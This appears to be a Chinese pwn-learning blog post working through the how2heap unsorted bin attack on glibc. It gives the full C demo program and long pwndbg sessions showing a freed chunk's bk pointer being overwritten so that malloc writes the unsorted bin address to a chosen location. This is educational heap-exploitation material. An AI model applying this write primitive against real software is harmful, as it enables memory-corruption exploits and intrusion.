how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的unsorted_bin攻击
unsorted bin攻击通常是为更进一步的攻击做准备的,我们知道unsorted bin是一个双向链表,在分配时会通过unlink操作将chunk从链表中移除,所以如果能够控制unsorted bin chunk的bk指针,就可以向任意位置写入一个指针。
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数
一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
2.unsorted_bin_attack演示程序
#include <stdio.h>
#include <stdlib.h>int main(){fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");unsigned long stack_var=0;fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);unsigned long *p=malloc(0x410);fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");malloc(500);free(p);fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);p[1]=(unsigned long)(&stack_var-2);fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);malloc(0x410);fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
3.调试 unsorted_bin_attack
3.1 获得可执行程序
gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
3.2 第一次调试程序
root@pwn_test1604:/ctf/work/how2heap# gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsorted_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsorted_bin_attack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsorted_bin_attack
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
[Inferior 1 (process 144) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第16行并走起
一开始先申请两个chunk,第二个是为了防止和top chunk合并。
Breakpoint 1, main () at unsorted_bin_attack.c:17
17 free(p);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x602430 ◂— 0x0RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x602430 ◂— 0x0RDI 0x1RSI 0x602620 ◂— 0x0R8 0x2bR9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15RIP 0x400775 (main+207) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400775 <main+207> mov rax, qword ptr [rbp - 0x10]0x400779 <main+211> mov rdi, rax0x40077c <main+214> call free@plt <0x400540>0x400781 <main+219> mov rax, qword ptr [rbp - 0x10]0x400785 <main+223> add rax, 80x400789 <main+227> mov rax, qword ptr [rax]0x40078c <main+230> mov rdx, rax0x40078f <main+233> mov rax, qword ptr [rip + 0x2008ca] <0x601060>0x400796 <main+240> mov esi, 0x400a800x40079b <main+245> mov rdi, rax0x40079e <main+248> mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c12 unsigned long *p=malloc(0x410);13 fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);14 fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");15 malloc(500);16 ► 17 free(p);18 fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);19 20 p[1]=(unsigned long)(&stack_var-2);21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400775 main+207f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:16
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Used None None
0x602420 0x0 0x200 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602420
0x602420: 0x0000000000000000 0x0000000000000201
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Used None None
0x602420 0x0 0x200 Used None None
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602420
0x602420: 0x0000000000000000 0x0000000000000201
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg>
3.3.2 设置断点第19行并走起
当free之后,这个chunk的fd、bk都指向了unsorted bin的位置,因为unsorted bin是双向链表。
pwndbg> b 19
Breakpoint 2 at 0x4007a8: file unsorted_bin_attack.c, line 19.
pwndbg> c
Continuing.
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78Breakpoint 2, main () at unsorted_bin_attack.c:20
20 p[1]=(unsigned long)(&stack_var-2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x74RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0xbbe49188e693bde5R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x74R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15RIP 0x4007a8 (main+258) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007a8 <main+258> mov rax, qword ptr [rbp - 0x10]0x4007ac <main+262> lea rdx, [rax + 8]0x4007b0 <main+266> lea rax, [rbp - 0x18]0x4007b4 <main+270> sub rax, 0x100x4007b8 <main+274> mov qword ptr [rdx], rax0x4007bb <main+277> mov rax, qword ptr [rip + 0x20089e] <0x601060>0x4007c2 <main+284> mov rcx, rax0x4007c5 <main+287> mov edx, 0x510x4007ca <main+292> mov esi, 10x4007cf <main+297> mov edi, 0x400af00x4007d4 <main+302> call fwrite@plt <0x400590>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c15 malloc(500);16 17 free(p);18 fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);19 ► 20 p[1]=(unsigned long)(&stack_var-2);21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);23 24 malloc(0x410);25 fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4007a8 main+258f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:19
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x602420 0x420 0x200 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x602420 0x420 0x200 Used None None
pwndbg>
3.3.3 设置断点第23行并走起
继续,通过p[1] = (unsigned long)(&stack_var - 2),把bk指针给改掉了。unsigned long是8字节大小的,所以减去2之后正好是在address 这个地方。
pwndbg> b 23
Breakpoint 3 at 0x400800: file unsorted_bin_attack.c, line 23.
pwndbg> c
Continuing.
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588Breakpoint 3, main () at unsorted_bin_attack.c:24
24 malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x6cRBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x8ae6acbbe49188e6R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x6cR10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15RIP 0x400800 (main+346) ◂— mov edi, 0x410
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400800 <main+346> mov edi, 0x4100x400805 <main+351> call malloc@plt <0x400580>0x40080a <main+356> mov rax, qword ptr [rip + 0x20084f] <0x601060>0x400811 <main+363> mov rcx, rax0x400814 <main+366> mov edx, 0x560x400819 <main+371> mov esi, 10x40081e <main+376> mov edi, 0x400bb00x400823 <main+381> call fwrite@plt <0x400590>0x400828 <main+386> mov rax, qword ptr [rbp - 0x18]0x40082c <main+390> mov rcx, rax0x40082f <main+393> mov rax, qword ptr [rip + 0x20082a] <0x601060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c19 20 p[1]=(unsigned long)(&stack_var-2);21 fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22 fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);23 ► 24 malloc(0x410);25 fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");26 fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);27 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:0008│ 0x7fffffffe598 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│ 0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp 0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400800 main+346f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7fffffffe588
0x602420 0x420 0x200 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x420 Freed 0x7ffff7dd1b78 0x7fffffffe588
0x602420 0x420 0x200 Used None None
pwndbg>
然后再去申请的时候需要把释放的那一块给拿出来,操作如下:
/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
3.3.4 设置断点第26行并走起
把unsorted bin的bk改为chunk的bk,然后将chunk的bk所指向的 fd改为unsorted bin的地址。
因为对于一个chunk来说,chunk头是占据0x10大小的(也就是图中 address),所以fd正好是我们想要改的那个地址。
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x00007ffff7dd1b78 0x00007fffffffe588
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备
我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数
一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588
再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库